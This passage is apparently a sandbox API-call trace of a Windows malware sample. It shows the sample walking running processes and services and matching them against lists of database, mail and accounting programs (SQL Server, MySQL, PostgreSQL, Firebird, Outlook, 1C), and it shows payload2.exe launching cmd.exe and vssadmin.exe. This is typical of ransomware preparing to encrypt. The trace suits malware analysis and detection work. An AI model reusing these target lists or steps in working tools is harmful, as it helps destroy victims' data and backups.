1 [0267.195] lstrlenW (lpString="System") returned 6 [0267.195] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0267.195] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0267.196] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0267.196] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0267.196] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0267.196] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0267.196] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0267.196] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.196] lstrlenW (lpString="smss.exe") returned 8 [0267.196] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0267.196] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0267.196] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0267.196] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0267.196] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0267.196] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0267.196] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0267.196] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.196] lstrlenW (lpString="csrss.exe") returned 9 [0267.196] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.196] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.196] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.196] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.196] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.197] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.197] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.197] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.197] lstrlenW (lpString="wininit.exe") returned 11 [0267.197] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0267.197] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0267.197] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0267.197] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0267.197] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0267.197] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0267.197] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0267.197] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.197] lstrlenW (lpString="csrss.exe") returned 9 [0267.197] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.197] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.197] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.197] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.197] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.197] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.197] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.197] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.198] lstrlenW (lpString="winlogon.exe") returned 12 [0267.198] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0267.198] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0267.198] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0267.198] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0267.198] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0267.198] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0267.198] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0267.198] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.198] lstrlenW (lpString="services.exe") returned 12 [0267.198] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0267.198] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0267.198] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0267.198] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0267.198] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0267.198] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0267.198] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0267.198] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.199] lstrlenW (lpString="lsass.exe") returned 9 [0267.199] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0267.199] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0267.199] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0267.199] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0267.199] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0267.199] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0267.199] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0267.199] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0267.199] lstrlenW (lpString="lsm.exe") returned 7 [0267.199] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0267.199] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0267.199] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0267.199] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0267.199] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0267.199] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0267.199] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0267.199] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.199] lstrlenW (lpString="svchost.exe") returned 11 [0267.199] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.199] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.200] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.200] lstrlenW (lpString="svchost.exe") returned 11 [0267.200] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.200] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.200] lstrlenW (lpString="svchost.exe") returned 11 [0267.200] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.201] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.201] lstrlenW (lpString="svchost.exe") returned 11 [0267.201] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.201] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.201] lstrlenW (lpString="svchost.exe") returned 11 [0267.201] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.201] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.201] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.202] lstrlenW (lpString="audiodg.exe") returned 11 [0267.202] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0267.202] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0267.202] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0267.202] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0267.202] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0267.202] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0267.202] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0267.202] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.202] lstrlenW (lpString="svchost.exe") returned 11 [0267.202] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.202] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.202] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.202] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.202] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.202] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.202] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.202] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.203] lstrlenW (lpString="svchost.exe") returned 11 [0267.203] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0267.203] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0267.203] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0267.203] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0267.203] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0267.203] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0267.203] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0267.203] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0267.203] lstrlenW (lpString="userinit.exe") returned 12 [0267.203] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.203] lstrlenW (lpString="dwm.exe") returned 7 [0267.203] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.204] lstrlenW (lpString="explorer.exe") returned 12 [0267.204] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.204] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.204] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.204] lstrlenW (lpString="taskhost.exe") returned 12 [0267.204] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.204] lstrlenW (lpString="svchost.exe") returned 11 [0267.204] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0267.205] lstrlenW (lpString="payload2.exe") returned 12 [0267.205] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0267.205] lstrlenW (lpString="reader_sl.exe") returned 13 [0267.205] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.205] lstrlenW (lpString="dllhost.exe") returned 11 [0267.205] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x564, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0267.205] lstrlenW (lpString="cmd.exe") returned 7 [0267.205] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0267.206] lstrlenW (lpString="conhost.exe") returned 11 [0267.206] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0267.206] lstrlenW (lpString="vssadmin.exe") returned 12 [0267.206] Process32NextW (in: hSnapshot=0x2f4, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0267.206] CloseHandle (hObject=0x2f4) returned 1 [0267.206] Sleep (dwMilliseconds=0x1f4) [0267.824] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x420a4b8 [0267.836] EnumServicesStatusExW (in: hSCManager=0x420a4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0267.837] GetLastError () returned 0xea [0267.837] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xacc) returned 0x421d440 [0267.837] EnumServicesStatusExW (in: hSCManager=0x420a4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x421d440, cbBufSize=0xacc, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x421d440, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0267.837] CloseServiceHandle (hSCObject=0x420a4b8) returned 1 [0267.837] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0267.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.837] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0267.837] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0267.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0267.837] lstrlenW (lpString="AudioSrv") returned 8 [0267.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0267.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0267.837] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0267.838] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0267.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0267.838] lstrlenW (lpString="BFE") returned 3 [0267.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0267.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0267.838] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0267.838] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0267.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0267.838] lstrlenW (lpString="CscService") returned 10 [0267.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0267.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0267.838] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0267.838] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0267.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0267.838] lstrlenW (lpString="DcomLaunch") returned 10 [0267.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.838] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0267.838] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0267.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0267.838] lstrlenW (lpString="Dhcp") returned 4 [0267.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0267.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0267.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0267.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0267.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0267.838] lstrlenW (lpString="Dnscache") returned 8 [0267.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0267.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0267.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0267.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0267.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0267.838] lstrlenW (lpString="eventlog") returned 8 [0267.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0267.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0267.839] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0267.839] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0267.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0267.839] lstrlenW (lpString="EventSystem") returned 11 [0267.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0267.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0267.839] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0267.839] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0267.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0267.839] lstrlenW (lpString="gpsvc") returned 5 [0267.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0267.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0267.839] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0267.839] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0267.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0267.839] lstrlenW (lpString="LanmanWorkstation") returned 17 [0267.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.839] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0267.839] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0267.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0267.839] lstrlenW 